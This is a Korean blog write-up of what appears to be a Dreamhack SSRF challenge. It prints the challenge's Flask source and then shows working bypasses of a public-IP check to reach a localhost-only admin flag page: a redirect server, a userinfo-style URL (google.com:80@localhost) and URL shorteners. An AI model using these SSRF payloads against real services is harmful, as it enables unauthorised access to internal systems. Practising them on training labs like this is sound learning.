서버에 접속해보자
코드를 보면
#app.py
from re import split
import socket
import requests
import ipaddress
from urllib.parse import urlparse
from flask import Flask, request, render_template
app = Flask(__name__)
app.flag = '__FLAG__'
def lookup(url):
try:
return socket.gethostbyname(url)
except:
return False
def check_global(ip):
try:
return (ipaddress.ip_address(ip)).is_global
except:
return False
def check_get(url):
ip = lookup(urlparse(url).netloc.split(':')[0])
if ip == False or ip =='0.0.0.0':
return "Not a valid URL."
res=requests.get(url)
if check_global(ip) == False:
return "Can you access my admin page~?"
for i in res.text.split('>'):
if 'referer' in i:
ref_host = urlparse(res.headers.get('refer')).netloc.split(':')[0]
if ref_host == 'localhost':
return False
if ref_host == '127.0.0.1':
return False
res=requests.get(url)
return res.text
@app.route('/admin')
def admin_page():
if request.remote_addr != '127.0.0.1':
return "This is local page!"
return app.flag
@app.route('/validation')
def validation():
url = request.args.get('url', '')
ip = lookup(urlparse(url).netloc.split(':')[0])
res = check_get(url)
return render_template('validation.html', url=url, ip=ip, res=res)
@app.route('/')
def index():
return render_template('index.html')
if __name__=='__main__':
app.run(host='0.0.0.0', port=3333)
우리가 입력폼에 url을 넘기면 공인 ip인지 체크 후 크롤링하는 사이트이다. 일단 넣어보자.
localhost:3333/admin으로 접근해보자.
역시 공인 ip 조회하는 부분에서 걸린다. 서버를 열고 내 ip를 넘겨주고 리다이렉트를 시키는 방법을 해봤다.
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def main():
return redirect('http://localhost:3333/admin')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3333)
호우
다른 방법
1. url 형식을 ID, PW 넘겨주는 방법으로 작성하자.
즉, http://google.com:80@localhost:3333/admin으로 우회할 수 있다.위 도메인 네임을 가져올 때 :을 기준으로 파싱하기 때문에 google.com이 파싱되어 check_global을 우회하게 되며, 요청을 localhost:3333/admin으로 가게 된다.
이제는 저 id, pw 인증 정보 전달 방식을 지원하지 않기 때문이다.
2. url 단축
url 단축 사이트에 http://localhost:3333/admin을 넣어서 변경 후 변경된 url 전송.. 난 이거 안 되던데
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] Dream Gallery write up (0) | 2024.04.26 |
---|---|
[Dreamhack] filestorage write up (0) | 2024.04.26 |
[Dreamhack] file-csp-1 write up (0) | 2024.04.23 |
[Dreamhack] baby-sqlite write up (0) | 2024.04.22 |
[Dreamhack] chocoshop write up (2) | 2024.04.20 |